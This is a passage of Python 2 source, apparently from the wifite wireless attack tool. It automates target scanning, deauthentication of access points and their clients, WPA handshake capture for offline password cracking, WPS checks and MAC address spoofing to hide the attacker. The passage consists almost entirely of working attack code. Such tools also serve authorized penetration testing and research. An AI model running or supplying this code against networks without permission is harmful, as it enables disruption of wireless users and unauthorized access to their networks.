print GR+' [+] '+G+'initializing scan'+W+' ('+G+iface+W+'), updates at 5 sec intervals, '+G+'CTRL+C'+W+' when ready.'
(targets, clients) = ([], [])
try:
deauth_sent = 0.0
old_targets = []
stop_scanning = False
while True:
time.sleep(0.3)
if not os.path.exists(temp + 'wifite-01.csv') and time.time() - time_started > 1.0:
print R+'\n [!] ERROR!'+W
# RTL8187 Unknown Error 132 FIX
if proc.poll() != None: # Check if process has finished
proc = Popen(['airodump-ng', iface], stdout=DN, stderr=PIPE)
if not tried_rtl8187_fix and proc.communicate()[1].find('failed: Unknown error 132') != -1:
if rtl8187_fix(iface):
return scan(channel=channel, iface=iface, tried_rtl8187_fix=True)
print R+' [!]'+O+' wifite is unable to generate airodump-ng output files'+W
print R+' [!]'+O+' you may want to disconnect/reconnect your wifi device'+W
exit_gracefully(1)
(targets, clients) = parse_csv(temp + 'wifite-01.csv')
# If we are targeting a specific ESSID/BSSID, skip the scan once we find it.
if TARGET_ESSID != '':
for t in targets:
if t.ssid.lower() == TARGET_ESSID.lower():
send_interrupt(proc)
try: os.kill(proc.pid, SIGTERM)
except OSError: pass
except UnboundLocalError: pass
targets = [t]
stop_scanning = True
break
if TARGET_BSSID != '':
for t in targets:
if t.bssid.lower() == TARGET_BSSID.lower():
send_interrupt(proc)
try: os.kill(proc.pid, SIGTERM)
except OSError: pass
except UnboundLocalError: pass
targets = [t]
stop_scanning = True
break
# If user has chosen to target all access points, wait 20 seconds, then return all
if ATTACK_ALL_TARGETS and time.time() - time_started > 10:
print GR+'\n [+]'+W+' auto-targeted %s%d%s access point%s' % (G, len(targets), W, '' if len(targets) == 1 else 's')
stop_scanning = True
if ATTACK_MIN_POWER > 0 and time.time() - time_started > 10:
# Remove targets with power < threshold
i = 0
before_count = len(targets)
while i < len(targets):
if targets[i].power < ATTACK_MIN_POWER:
targets.pop(i)
else: i += 1
print GR+'\n [+]'+W+' removed %s targets with power < %ddB, %s remain' % \
(G+str(before_count - len(targets))+W, ATTACK_MIN_POWER, G+str(len(targets))+W)
stop_scanning = True
if stop_scanning: break
# If there are unknown SSIDs, send deauths to them.
if channel != 0 and time.time() - deauth_sent > 5:
deauth_sent = time.time()
for t in targets:
if t.ssid == '':
print "\r %s deauthing hidden access point (%s) \r" % \
(GR+sec_to_hms(time.time() - time_started)+W, G+t.bssid+W),
stdout.flush()
# Time to deauth
cmd = ['aireplay-ng',
'--deauth', '1',
'-a', t.bssid]
for c in clients:
if c.station == t.bssid:
cmd.append('-c')
cmd.append(c.bssid)
break
cmd.append(iface)
proc_aireplay = Popen(cmd, stdout=DN, stderr=DN)
proc_aireplay.wait()
time.sleep(0.5)
else:
for ot in old_targets:
if ot.ssid == '' and ot.bssid == t.bssid:
print '\r %s successfully decloaked "%s" ' % \
(GR+sec_to_hms(time.time() - time_started)+W, G+t.ssid+W)
old_targets = targets[:]
if VERBOSE_APS and len(targets) > 0:
targets = sorted(targets, key=lambda t: t.power, reverse=True)
if not WPS_DISABLE:
wps_check_targets(targets, temp + 'wifite-01.cap', verbose=False)
os.system('clear')
print GR+'\n [+] '+G+'scanning'+W+' ('+G+iface+W+'), updates at 5 sec intervals, '+G+'CTRL+C'+W+' when ready.\n'
print " NUM ESSID %sCH ENCR POWER WPS? CLIENT" % ('BSSID ' if SHOW_MAC_IN_SCAN else '')
print ' --- -------------------- %s-- ---- ----- ---- ------' % ('----------------- ' if SHOW_MAC_IN_SCAN else '')
for i, target in enumerate(targets):
print " %s%2d%s " % (G, i + 1, W),
# SSID
if target.ssid == '':
p = O+'('+target.bssid+')'+GR+' '+W
print '%s' % p.ljust(20),
elif ( target.ssid.count('\x00') == len(target.ssid) ):
p = '<Length '+str(len(target.ssid))+'>'
print '%s' % C+p.ljust(20)+W,
elif len(target.ssid) <= 20:
print "%s" % C+target.ssid.ljust(20)+W,
else:
print "%s" % C+target.ssid[0:17] + '...'+W,
# BSSID
if SHOW_MAC_IN_SCAN:
print O,target.bssid+W,
# Channel
print G+target.channel.rjust(3),W,
# Encryption
if target.encryption.find("WEP") != -1: print G,
else: print O,
print "\b%3s" % target.encryption.strip().ljust(4) + W,
# Power
if target.power >= 55: col = G
elif target.power >= 40: col = O
else: col = R
print "%s%3ddb%s" % (col,target.power, W),
# WPS
if WPS_DISABLE:
print " %3s" % (O+'n/a'+W),
else:
print " %3s" % (G+'wps'+W if target.wps else R+' no'+W),
# Clients
client_text = ''
for c in clients:
if c.station == target.bssid:
if client_text == '': client_text = 'client'
elif client_text[-1] != "s": client_text += "s"
if client_text != '': print ' %s' % (G+client_text+W)
else: print ''
print ''
print ' %s %s wireless networks. %s target%s and %s client%s found \r' % (
GR+sec_to_hms(time.time() - time_started)+W, G+'scanning'+W,
G+str(len(targets))+W, '' if len(targets) == 1 else 's',
G+str(len(clients))+W, '' if len(clients) == 1 else 's'),
stdout.flush()
except KeyboardInterrupt:
pass
print ''
send_interrupt(proc)
try: os.kill(proc.pid, SIGTERM)
except OSError: pass
except UnboundLocalError: pass
# Use "wash" program to check for WPS compatibility
if not WPS_DISABLE:
wps_check_targets(targets, temp + 'wifite-01.cap')
remove_airodump_files(temp + 'wifite')
if stop_scanning: return (targets, clients)
print ''
if len(targets) == 0:
print R+' [!]'+O+' no targets found!'+W
print R+' [!]'+O+' you may need to wait for targets to show up.'+W
print ''
exit_gracefully(1)
if VERBOSE_APS: os.system('clear')
# Sort by Power
targets = sorted(targets, key=lambda t: t.power, reverse=True)
victims = []
print " NUM ESSID %sCH ENCR POWER WPS? CLIENT" % ('BSSID ' if SHOW_MAC_IN_SCAN else '')
print ' --- -------------------- %s-- ---- ----- ---- ------' % ('----------------- ' if SHOW_MAC_IN_SCAN else '')
for i, target in enumerate(targets):
print " %s%2d%s " % (G, i + 1, W),
# SSID
if target.ssid == '':
p = O+'('+target.bssid+')'+GR+' '+W
print '%s' % p.ljust(20),
elif ( target.ssid.count('\x00') == len(target.ssid) ):
p = '<Length '+str(len(target.ssid))+'>'
print '%s' % C+p.ljust(20)+W,
elif len(target.ssid) <= 20:
print "%s" % C+target.ssid.ljust(20)+W,
else:
print "%s" % C+target.ssid[0:17] + '...'+W,
# BSSID
if SHOW_MAC_IN_SCAN:
print O,target.bssid+W,
# Channel
print G+target.channel.rjust(3),W,
# Encryption
if target.encryption.find("WEP") != -1: print G,
else: print O,
print "\b%3s" % target.encryption.strip().ljust(4) + W,
# Power
if target.power >= 55: col = G
elif target.power >= 40: col = O
else: col = R
print "%s%3ddb%s" % (col,target.power, W),
# WPS
if WPS_DISABLE:
print " %3s" % (O+'n/a'+W),
else:
print " %3s" % (G+'wps'+W if target.wps else R+' no'+W),
# Clients
client_text = ''
for c in clients:
if c.station == target.bssid:
if client_text == '': client_text = 'client'
elif client_text[-1] != "s": client_text += "s"
if client_text != '': print ' %s' % (G+client_text+W)
else: print ''
ri = raw_input(GR+"\n [+]"+W+" select "+G+"target numbers"+W+" ("+G+"1-%s)" % (str(len(targets))+W) + \
" separated by commas, or '%s': " % (G+'all'+W))
if ri.strip().lower() == 'all':
victims = targets[:]
else:
for r in ri.split(','):
r = r.strip()
if r.find('-') != -1:
(sx, sy) = r.split('-')
if sx.isdigit() and sy.isdigit():
x = int(sx)
y = int(sy) + 1
for v in xrange(x, y):
victims.append(targets[v - 1])
elif not r.isdigit() and r.strip() != '':
print O+" [!]"+R+" not a number: %s " % (O+r+W)
elif r != '':
victims.append(targets[int(r) - 1])
if len(victims) == 0:
print O+'\n [!] '+R+'no targets selected.\n'+W
exit_gracefully(0)
print ''
print ' [+] %s%d%s target%s selected.' % (G, len(victims), W, '' if len(victims) == 1 else 's')
return (victims, clients)
def parse_csv(filename):
"""
Parses given lines from airodump-ng CSV file.
Returns tuple: List of targets and list of clients.
"""
if not os.path.exists(filename): return ([], [])
try:
f = open(filename, 'r')
lines = f.read().split('\n')
f.close()
except IOError: return ([], [])
hit_clients = False
targets = []
clients = []
for line in lines:
if line.startswith('Station MAC,'): hit_clients = True
if line.startswith('BSSID') or line.startswith('Station MAC') or line.strip() == '': continue
if not hit_clients: # Access points
c = line.split(', ', 13)
if len(c) <= 11: continue
cur = 11
c[cur] = c[cur].strip()
if not c[cur].isdigit(): cur += 1
if cur > len(c) - 1: continue
ssid = c[cur+1]
ssidlen = int(c[cur])
ssid = ssid[:ssidlen]
power = int(c[cur-4])
if power < 0: power += 100
enc = c[5]
# Ignore non-WPA/WEP networks.
if enc.find('WPA') == -1 and enc.find('WEP') == -1: continue
if WEP_DISABLE and enc.find('WEP') != -1: continue
if WPA_DISABLE and WPS_DISABLE and enc.find('WPA') != -1: continue
enc = enc.strip()[:4]
t = Target(c[0], power, c[cur-2].strip(), c[3], enc, ssid)
targets.append(t)
else: # Connected clients
c = line.split(', ')
if len(c) < 6: continue
bssid = re.sub(r'[^a-zA-Z0-9:]', '', c[0])
station = re.sub(r'[^a-zA-Z0-9:]', '', c[5])
power = c[3]
if station != 'notassociated':
c = Client(bssid, station, power)
clients.append(c)
return (targets, clients)
def wps_check_targets(targets, cap_file, verbose=True):
"""
Uses reaver's "walsh" (or wash) program to check access points in cap_file
for WPS functionality. Sets "wps" field of targets that match to True.
"""
global WPS_DISABLE
if not program_exists('walsh') and not program_exists('wash'):
WPS_DISABLE = True # Tell 'scan' we were unable to execute walsh
return
program_name = 'walsh' if program_exists('walsh') else 'wash'
if len(targets) == 0 or not os.path.exists(cap_file): return
if verbose:
print GR+' [+]'+W+' checking for '+G+'WPS compatibility'+W+'...',
stdout.flush()
cmd = [program_name,
'-f', cap_file,
'-C'] # ignore Frame Check Sum errors
proc_walsh = Popen(cmd, stdout=PIPE, stderr=DN)
proc_walsh.wait()
for line in proc_walsh.communicate()[0].split('\n'):
if line.strip() == '' or line.startswith('Scanning for'): continue
bssid = line.split(' ')[0]
for t in targets:
if t.bssid.lower() == bssid.lower():
t.wps = True
if verbose:
print 'done'
removed = 0
if not WPS_DISABLE and WPA_DISABLE:
i = 0
while i < len(targets):
if not targets[i].wps and targets[i].encryption.find('WPA') != -1:
removed += 1
targets.pop(i)
else: i += 1
if removed > 0 and verbose: print GR+' [+]'+O+' removed %d non-WPS-enabled targets%s' % (removed, W)
def rtl8187_fix(iface):
"""
Attempts to solve "Unknown error 132" common with RTL8187 devices.
Puts down interface, unloads/reloads driver module, then puts iface back up.
Returns True if fix was attempted, False otherwise.
"""
# Check if current interface is using the RTL8187 chipset
proc_airmon = Popen(['airmon-ng'], stdout=PIPE, stderr=DN)
proc_airmon.wait()
using_rtl8187 = False
for line in proc_airmon.communicate()[0].split():
line = line.upper()
if line.strip() == '' or line.startswith('INTERFACE'): continue
if line.find(iface.upper()) and line.find('RTL8187') != -1: using_rtl8187 = True
if not using_rtl8187:
# Display error message and exit
print R+' [!]'+O+' unable to generate airodump-ng CSV file'+W
print R+' [!]'+O+' you may want to disconnect/reconnect your wifi device'+W
exit_gracefully(1)
print O+" [!]"+W+" attempting "+O+"RTL8187 'Unknown Error 132'"+W+" fix..."
original_iface = iface
# Take device out of monitor mode
airmon = Popen(['airmon-ng', 'stop', iface], stdout=PIPE, stderr=DN)
airmon.wait()
for line in airmon.communicate()[0].split('\n'):
if line.strip() == '' or \
line.startswith("Interface") or \
line.find('(removed)') != -1:
continue
original_iface = line.split()[0] # line[:line.find('\t')]
# Remove drive modules, block/unblock ifaces, probe new modules.
print_and_exec(['ifconfig', original_iface, 'down'])
print_and_exec(['rmmod', 'rtl8187'])
print_and_exec(['rfkill', 'block', 'all'])
print_and_exec(['rfkill', 'unblock', 'all'])
print_and_exec(['modprobe', 'rtl8187'])
print_and_exec(['ifconfig', original_iface, 'up'])
print_and_exec(['airmon-ng', 'start', original_iface])
print '\r \r',
print O+' [!] '+W+'restarting scan...\n'
return True
def print_and_exec(cmd):
"""
Prints and executes command "cmd". Also waits half a second
Used by rtl8187_fix (for prettiness)
"""
print '\r \r',
stdout.flush()
print O+' [!] '+W+'executing: '+O+' '.join(cmd) + W,
stdout.flush()
call(cmd, stdout=DN, stderr=DN)
time.sleep(0.1)
####################
# HELPER FUNCTIONS #
####################
def remove_airodump_files(prefix):
"""
Removes airodump output files for whatever file prefix ('wpa', 'wep', etc)
Used by wpa_get_handshake() and attack_wep()
"""
remove_file(prefix + '-01.cap')
remove_file(prefix + '-01.csv')
remove_file(prefix + '-01.kismet.csv')
remove_file(prefix + '-01.kismet.netxml')
for filename in os.listdir(temp):
if filename.lower().endswith('.xor'): remove_file(temp + filename)
for filename in os.listdir('.'):
if filename.startswith('replay_') and filename.endswith('.cap'):
remove_file(filename)
if filename.endswith('.xor'): remove_file(filename)
# Remove .cap's from previous attack sessions
"""i = 2
while os.path.exists(temp + 'wep-' + str(i) + '.cap'):
os.remove(temp + 'wep-' + str(i) + '.cap')
i += 1
"""
def remove_file(filename):
"""
Attempts to remove a file. Does not throw error if file is not found.
"""
try: os.remove(filename)
except OSError: pass
def program_exists(program):
"""
Uses 'which' (linux command) to check if a program is installed.
"""
proc = Popen(['which', program], stdout=PIPE, stderr=PIPE)
txt = proc.communicate()
if txt[0].strip() == '' and txt[1].strip() == '':
return False
if txt[0].strip() != '' and txt[1].strip() == '':
return True
return not (txt[1].strip() == '' or txt[1].find('no %s in' % program) != -1)
def sec_to_hms(sec):
"""
Converts integer sec to h:mm:ss format
"""
if sec <= -1: return '[endless]'
h = sec / 3600
sec %= 3600
m = sec / 60
sec %= 60
return '[%d:%02d:%02d]' % (h, m, sec)
def send_interrupt(process):
"""
Sends interrupt signal to process's PID.
"""
try:
os.kill(process.pid, SIGINT)
# os.kill(process.pid, SIGTERM)
except OSError: pass # process cannot be killed
except TypeError: pass # pid is incorrect type
except UnboundLocalError: pass # 'process' is not defined
except AttributeError: pass # Trying to kill "None"
def get_mac_address(iface):
"""
Returns MAC address of "iface".
"""
proc = Popen(['ifconfig', iface], stdout=PIPE, stderr=DN)
proc.wait()
mac = ''
first_line = proc.communicate()[0].split('\n')[0]
for word in first_line.split(' '):
if word != '': mac = word
if mac.find('-') != -1: mac = mac.replace('-', ':')
if len(mac) > 17: mac = mac[0:17]
return mac
def generate_random_mac(old_mac):
"""
Generates a random MAC address.
Keeps the same vender (first 6 chars) of the old MAC address (old_mac).
Returns string in format old_mac[0:9] + :XX:XX:XX where X is random hex
"""
random.seed()
new_mac = old_mac[:8].lower().replace('-', ':')
for i in xrange(0, 6):
if i % 2 == 0: new_mac += ':'
new_mac += '0123456789abcdef'[random.randint(0,15)]
# Prevent generating the same MAC address via recursion.
if new_mac == old_mac:
new_mac = generate_random_mac(old_mac)
return new_mac
def mac_anonymize(iface):
"""
Changes MAC address of 'iface' to a random MAC.
Only randomizes the last 6 digits of the MAC, so the vender says the same.
Stores old MAC address and the interface in ORIGINAL_IFACE_MAC
"""
global ORIGINAL_IFACE_MAC
if DO_NOT_CHANGE_MAC: return
if not program_exists('ifconfig'): return
# Store old (current) MAC address
proc = Popen(['ifconfig', iface], stdout=PIPE, stderr=DN)
proc.wait()
for word in proc.communicate()[0].split('\n')[0].split(' '):
if word != '': old_mac = word
ORIGINAL_IFACE_MAC = (iface, old_mac)
new_mac = generate_random_mac(old_mac)
call(['ifconfig', iface, 'down'])
print GR+" [+]"+W+" changing %s's MAC from %s to %s..." % (G+iface+W, G+old_mac+W, O+new_mac+W),
stdout.flush()
proc = Popen(['ifconfig', iface, 'hw', 'ether', new_mac], stdout=PIPE, stderr=DN)
proc.wait()
call(['ifconfig', iface, 'up'], stdout=DN, stderr=DN)
print 'done'
def mac_change_back():
"""
Changes MAC address back to what it was before attacks began.
"""
iface = ORIGINAL_IFACE_MAC[0]
old_mac = ORIGINAL_IFACE_MAC[1]
if iface == '' or old_mac == '': return
print GR+" [+]"+W+" changing %s's mac back to %s..." % (G+iface+W, G+old_mac+W),
stdout.flush()
call(['ifconfig', iface, 'down'], stdout=DN, stderr=DN)
proc = Popen(['ifconfig', iface, 'hw', 'ether', old_mac], stdout=PIPE, stderr=DN)
proc.wait()
call(['ifconfig', iface, 'up'], stdout=DN, stderr=DN)
print "done"
def analyze_capfile(capfile):
"""
Analyzes given capfile for handshakes using various programs.
Prints results to console.
"""
global TARGET_BSSID, TARGET_ESSID
if TARGET_ESSID == '' and TARGET_BSSID == '':
print R+' [!]'+O+' target ssid and bssid are required to check for handshakes'
print R+' [!]'+O+' please enter essid (access point name) using -e <name>'
print R+' [!]'+O+' and/or target bssid (mac address) using -b <mac>\n'
# exit_gracefully(1)
if TARGET_BSSID == '':
# Get the first BSSID found in tshark!
TARGET_BSSID = get_bssid_from_cap(TARGET_ESSID, capfile)
# if TARGET_BSSID.find('->') != -1: TARGET_BSSID == ''
if TARGET_BSSID == '':
print R+' [!]'+O+' unable to guess BSSID from ESSID!'
else:
print GR+' [+]'+W+' guessed bssid: %s' % (G+TARGET_BSSID+W)
if TARGET_BSSID != '' and TARGET_ESSID == '':
TARGET_ESSID = get_essid_from_cap(TARGET_BSSID, capfile)
print GR+'\n [+]'+W+' checking for handshakes in %s' % (G+capfile+W)
t = Target(TARGET_BSSID, '', '', '', 'WPA', TARGET_ESSID)
if program_exists('pyrit'):
result = has_handshake_pyrit(t, capfile)
print GR+' [+]'+W+' '+G+'pyrit'+W+':\t\t\t %s' % (G+'found!'+W if result else O+'not found'+W)
else: print R+' [!]'+O+' program not found: pyrit'
if program_exists('cowpatty'):
result = has_handshake_cowpatty(t, capfile, nonstrict=True)
print GR+' [+]'+W+' '+G+'cowpatty'+W+' (nonstrict):\t %s' % (G+'found!'+W if result else O+'not found'+W)
result = has_handshake_cowpatty(t, capfile, nonstrict=False)
print GR+' [+]'+W+' '+G+'cowpatty'+W+' (strict):\t %s' % (G+'found!'+W if result else O+'not found'+W)
else: print R+' [!]'+O+' program not found: cowpatty'
if program_exists('tshark'):
result = has_handshake_tshark(t, capfile)
print GR+' [+]'+W+' '+G+'tshark'+W+':\t\t\t %s' % (G+'found!'+W if result else O+'not found'+W)
else: print R+' [!]'+O+' program not found: tshark'
if program_exists('aircrack-ng'):
result = has_handshake_aircrack(t, capfile)
print GR+' [+]'+W+' '+G+'aircrack-ng'+W+':\t\t %s' % (G+'found!'+W if result else O+'not found'+W)
else: print R+' [!]'+O+' program not found: aircrack-ng'
print ''
exit_gracefully(0)
def get_essid_from_cap(bssid, capfile):
"""
Attempts to get ESSID from cap file using BSSID as reference.
Returns '' if not found.
"""
if not program_exists('tshark'): return ''
cmd = ['tshark',
'-r', capfile,
'-R', 'wlan.fc.type_subtype == 0x05 && wlan.sa == %s' % bssid,
'-n']
proc = Popen(cmd, stdout=PIPE, stderr=DN)
proc.wait()
for line in proc.communicate()[0].split('\n'):
if line.find('SSID=') != -1:
essid = line[line.find('SSID=')+5:]
print GR+' [+]'+W+' guessed essid: %s' % (G+essid+W)
return essid
print R+' [!]'+O+' unable to guess essid!'+W
return ''
def get_bssid_from_cap(essid, capfile):
"""
Returns first BSSID of access point found in cap file.
This is not accurate at all, but it's a good guess.
Returns '' if not found.
"""
global TARGET_ESSID
if not program_exists('tshark'): return ''
# Attempt to get BSSID based on ESSID
if essid != '':
cmd = ['tshark',
'-r', capfile,
'-R', 'wlan_mgt.ssid == "%s" && wlan.fc.type_subtype == 0x05' % (essid),
'-n', # Do not resolve MAC vendor names
'-T', 'fields', # Only display certain fields
'-e', 'wlan.sa'] # souce MAC address
proc = Popen(cmd, stdout=PIPE, stderr=DN)
proc.wait()
bssid = proc.communicate()[0].split('\n')[0]
if bssid != '': return bssid
cmd = ['tshark',
'-r', capfile,
'-R', 'eapol',
'-n']
proc = Popen(cmd, stdout=PIPE, stderr=DN)
proc.wait()
for line in proc.communicate()[0].split('\n'):
if line.endswith('Key (msg 1/4)') or line.endswith('Key (msg 3/4)'):
while line.startswith(' ') or line.startswith('\t'): line = line[1:]
line = line.replace('\t', ' ')
while line.find(' ') != -1: line = line.replace(' ', ' ')
return line.split(' ')[2]
elif line.endswith('Key (msg 2/4)') or line.endswith('Key (msg 4/4)'):
while line.startswith(' ') or line.startswith('\t'): line = line[1:]
line = line.replace('\t', ' ')
while line.find(' ') != -1: line = line.replace(' ', ' ')
return line.split(' ')[4]
return ''
def exit_gracefully(code=0):
"""
We may exit the program at any time.
We want to remove the temp folder and any files contained within it.
Removes the temp files/folder and exists with error code "code".
"""
# Remove temp files and folder
if os.path.exists(temp):
for file in os.listdir(temp):
os.remove(temp + file)
os.rmdir(temp)
# Disable monitor mode if enabled by us
disable_monitor_mode()
# Change MAC address back if spoofed
mac_change_back()
print GR+" [+]"+W+" quitting" # wifite will now exit"
print ''
# GTFO
exit(code)
def attack_interrupted_prompt():
"""
Promps user to decide if they want to exit,
skip to cracking WPA handshakes,
or continue attacking the remaining targets (if applicable).
returns True if user chose to exit complete, False otherwise
"""
global TARGETS_REMAINING
should_we_exit = False
# If there are more targets to attack, ask what to do next
if TARGETS_REMAINING > 0:
options = ''
print GR+"\n [+] %s%d%s target%s remain%s" % (G, TARGETS_REMAINING, W,
'' if TARGETS_REMAINING == 1 else 's',
's' if TARGETS_REMAINING == 1 else '')
print GR+" [+]"+W+" what do you want to do?"
options += G+'c'+W
print G+" [c]ontinue"+W+" attacking targets"
if len(WPA_CAPS_TO_CRACK) > 0:
options += W+', '+O+'s'+W
print O+" [s]kip"+W+" to cracking WPA cap files"
options += W+', or '+R+'e'+W
print R+" [e]xit"+W+" completely"
ri = ''
while ri != 'c' and ri != 's' and ri != 'e':
ri = raw_input(GR+' [+]'+W+' please make a selection (%s): ' % options)
if ri == 's':
TARGETS_REMAINING = -1 # Tells start() to ignore other targets, skip to cracking
elif ri == 'e':
should_we_exit = True
return should_we_exit
#################
# WPA FUNCTIONS #
#################
def wpa_get_handshake(iface, target, clients):
"""
Opens an airodump capture on the target, dumping to a file.
During the capture, sends deauthentication packets to the target both as
general deauthentication packets and specific packets aimed at connected clients.
Waits until a handshake is captured.
"iface" - interface to capture on
"target" - Target object containing info on access point
"clients" - List of Client objects associated with the target
Returns True if handshake was found, False otherwise
"""
global TARGETS_REMAINING, WPA_ATTACK_TIMEOUT
if WPA_ATTACK_TIMEOUT <= 0: WPA_ATTACK_TIMEOUT = -1
# Generate the filename to save the .cap file as <SSID>_aa-bb-cc-dd-ee-ff.cap
save_as = WPA_HANDSHAKE_DIR + os.sep + re.sub(r'[^a-zA-Z0-9]', '', target.ssid) \
+ '_' + target.bssid.replace(':', '-') + '.cap'
# Check if we already have a handshake for this SSID... If we do, generate a new filename
save_index = 0
while os.path.exists(save_as):
save_index += 1
save_as = WPA_HANDSHAKE_DIR + os.sep + re.sub(r'[^a-zA-Z0-9]', '', target.ssid) \
+ '_' + target.bssid.replace(':', '-') \
+ '_' + str(save_index) + '.cap'
# Remove previous airodump output files (if needed)
remove_airodump_files(temp + 'wpa')
# Start of large Try-Except; used for catching keyboard interrupt (Ctrl+C)
try:
# Start airodump-ng process to capture handshakes
cmd = ['airodump-ng',
'-w', temp + 'wpa',
'-c', target.channel,
'--bssid', target.bssid, iface]
proc_read = Popen(cmd, stdout=DN, stderr=DN)
# Setting deauthentication process here to avoid errors later on
proc_deauth = None
print ' %s starting %swpa handshake capture%s on "%s"' % \
(GR+sec_to_hms(WPA_ATTACK_TIMEOUT)+W, G, W, G+target.ssid+W)
got_handshake = False
seconds_running = 0
target_clients = clients[:]
client_index = -1
# Deauth and check-for-handshake loop
while not got_handshake and (WPA_ATTACK_TIMEOUT <= 0 or seconds_running < WPA_ATTACK_TIMEOUT):
time.sleep(1)
seconds_running += 1
print " \r",
print ' %s listening for handshake...\r' % \
(GR+sec_to_hms(WPA_ATTACK_TIMEOUT - seconds_running)+W),
stdout.flush()
if seconds_running % WPA_DEAUTH_TIMEOUT == 0:
# Send deauth packets via aireplay-ng
cmd = ['aireplay-ng',
'-0', # Attack method (Deauthentication)
'1', # Number of packets to send
'-a', target.bssid]
client_index += 1
if client_index == -1 or len(target_clients) == 0 or client_index >= len(target_clients):
print " %s sending 1 deauth to %s*broadcast*%s..." % \
(GR+sec_to_hms(WPA_ATTACK_TIMEOUT - seconds_running)+W, G, W),
client_index = -1
else:
print " %s sending 1 deauth to %s... " % \
(GR+sec_to_hms(WPA_ATTACK_TIMEOUT - seconds_running)+W, \
G+target_clients[client_index].bssid+W),
cmd.append('-h')
cmd.append(target_clients[client_index].bssid)
cmd.append(iface)
stdout.flush()
# Send deauth packets via aireplay, wait for them to complete.
proc_deauth = Popen(cmd, stdout=DN, stderr=DN)
proc_deauth.wait()
print "sent\r",
stdout.flush()
# Copy current dump file for consistency
if not os.path.exists(temp + 'wpa-01.cap'): continue
copy(temp + 'wpa-01.cap', temp + 'wpa-01.cap.temp')
# Save copy of cap file (for debugging)
#remove_file('/root/new/wpa-01.cap')
#copy(temp + 'wpa-01.cap', '/root/new/wpa-01.cap')
# Check for handshake
if has_handshake(target, temp + 'wpa-01.cap.temp'):
got_handshake = True
try: os.mkdir(WPA_HANDSHAKE_DIR + os.sep)
except OSError: pass
# Kill the airodump and aireplay processes
send_interrupt(proc_read)
send_interrupt(proc_deauth)
# Save a copy of the handshake
rename(temp + 'wpa-01.cap.temp', save_as)
print '\n %s %shandshake captured%s! saved as "%s"' % (GR+sec_to_hms(seconds_running)+W, G, W, G+save_as+W)
WPA_FINDINGS.append('%s (%s) handshake captured' % (target.ssid, target.bssid))
WPA_FINDINGS.append('saved as %s' % (save_as))
WPA_FINDINGS.append('')
# Strip handshake if needed
if WPA_STRIP_HANDSHAKE: strip_handshake(save_as)
# Add the filename and SSID to the list of 'to-crack'
# Cracking will be handled after all attacks are finished.
WPA_CAPS_TO_CRACK.append(CapFile(save_as, target.ssid, target.bssid))
break # Break out of while loop
# No handshake yet
os.remove(temp + 'wpa-01.cap.temp')
# Check the airodump output file for new clients
for client in parse_csv(temp + 'wpa-01.csv')[1]:
if client.station != target.bssid: continue
new_client = True
for c in target_clients:
if client.bssid == c.bssid:
new_client = False
break
if new_client:
print " %s %snew client%s found: %s " % \
(GR+sec_to_hms(WPA_ATTACK_TIMEOUT - seconds_running)+W, G, W, \
G+client.bssid+W)
target_clients.append(client)
# End of Handshake wait loop.
if not got_handshake:
print R+' [0:00:00]'+O+' unable to capture handshake in time'+W
except KeyboardInterrupt:
print R+'\n (^C)'+O+' WPA handshake capture interrupted'+W
if attack_interrupted_prompt():
remove_airodump_files(temp + 'wpa')
send_interrupt(proc_read)
send_interrupt(proc_deauth)
print ''
exit_gracefully(0)
# clean up
remove_airodump_files(temp + 'wpa')
send_interrupt(proc_read)
send_interrupt(proc_deauth)
return got_handshake
def has_handshake_tshark(target, capfile):
"""
Uses TShark to check for a handshake.
Returns "True" if handshake is found, false otherwise.
"""
if program_exists('tshark'):
# Call Tshark to return list of EAPOL packets in cap file.
cmd = ['tshark',
'-r', capfile, # Input file
'-R', 'eapol', # Filter (only EAPOL packets)
'-n'] # Do not resolve names (MAC vendors)
proc = Popen(cmd, stdout=PIPE, stderr=DN)
proc.wait()
lines = proc.communicate()[0].split('\n')
# Get list of all clients in cap file
clients = []
for line in lines:
if line.find('appears to have been cut short') != -1 or line.find('Running as user "root"') != -1 or line.strip() == '':
continue
while line.startswith(' '): line = line[1:]
while line.find(' ') != -1: line = line.replace(' ', ' ')
fields = line.split(' ')
src = fields[2].lower()
dst = fields[4].lower()
if src == target.bssid.lower() and clients.count(dst) == 0: clients.append(dst)
elif dst == target.bssid.lower() and clients.count(src) == 0: clients.append(src)
# Check each client for a handshake
for client in clients:
msg_num = 1 # Index of message in 4-way handshake (starts at 1)
for line in lines:
if line.find('appears to have been cut short') != -1: continue
if line.find('Running as user "root"') != -1: continue
if line.strip() == '': continue
# Sanitize tshark's output, separate into fields
while line[0] == ' ': line = line[1:]
while line.find(' ') != -1: line = line.replace(' ', ' ')
fields = line.split(' ')
# Sometimes tshark doesn't display the full header for "Key (msg 3/4)" on the 3rd handshake.
# This catches this glitch and fixes it.
if len(fields) < 8:
continue
elif len(fields) == 8:
fields.append('(msg')
fields.append('3/4)')
src = fields[2].lower() # Source MAC address
dst = fields[4].lower() # Destination MAC address
#msg = fields[9][0] # The message number (1, 2, 3, or 4)
msg = fields[-1][0]
# First, third msgs in 4-way handshake are from the target to client
if msg_num % 2 == 1 and (src != target.bssid.lower() or dst != client): continue
# Second, fourth msgs in 4-way handshake are from client to target
elif msg_num % 2 == 0 and (dst != target.bssid.lower() or src != client): continue
# The messages must appear in sequential order.
try:
if int(msg) != msg_num: continue
except ValueError: continue
msg_num += 1
# We need the first 4 messages of the 4-way handshake
# Although aircrack-ng cracks just fine with only 3 of the messages...
if msg_num >= 4:
return True
return False
def has_handshake_cowpatty(target, capfile, nonstrict=True):
"""
Uses cowpatty to check for a handshake.
Returns "True" if handshake is found, false otherwise.
"""
if not program_exists('cowpatty'): return False
# Call cowpatty to check if capfile contains a valid handshake.
cmd = ['cowpatty',
'-r', capfile, # input file
'-s', target.ssid, # SSID
'-c'] # Check for handshake
# Uses frames 1, 2, or 3 for key attack
if nonstrict: cmd.append('-2')
proc = Popen(cmd, stdout=PIPE, stderr=DN)
proc.wait()
response = proc.communicate()[0]
if response.find('incomplete four-way handshake exchange') != -1:
return False
elif response.find('Unsupported or unrecognized pcap file.') != -1:
return False
elif response.find('Unable to open capture file: Success') != -1:
return False
return True
def has_handshake_pyrit(target, capfile):
"""
Uses pyrit to check for a handshake.
Returns "True" if handshake is found, false otherwise.
"""
if not program_exists('pyrit'): return False
# Call pyrit to "Analyze" the cap file's handshakes.
cmd = ['pyrit',
'-r', capfile,
'analyze']
proc = Popen(cmd, stdout=PIPE, stderr=DN)
proc.wait()
hit_essid = False
for line in proc.communicate()[0].split('\n'):
# Iterate over every line of output by Pyrit
if line == '' or line == None: continue
if line.find("AccessPoint") != -1:
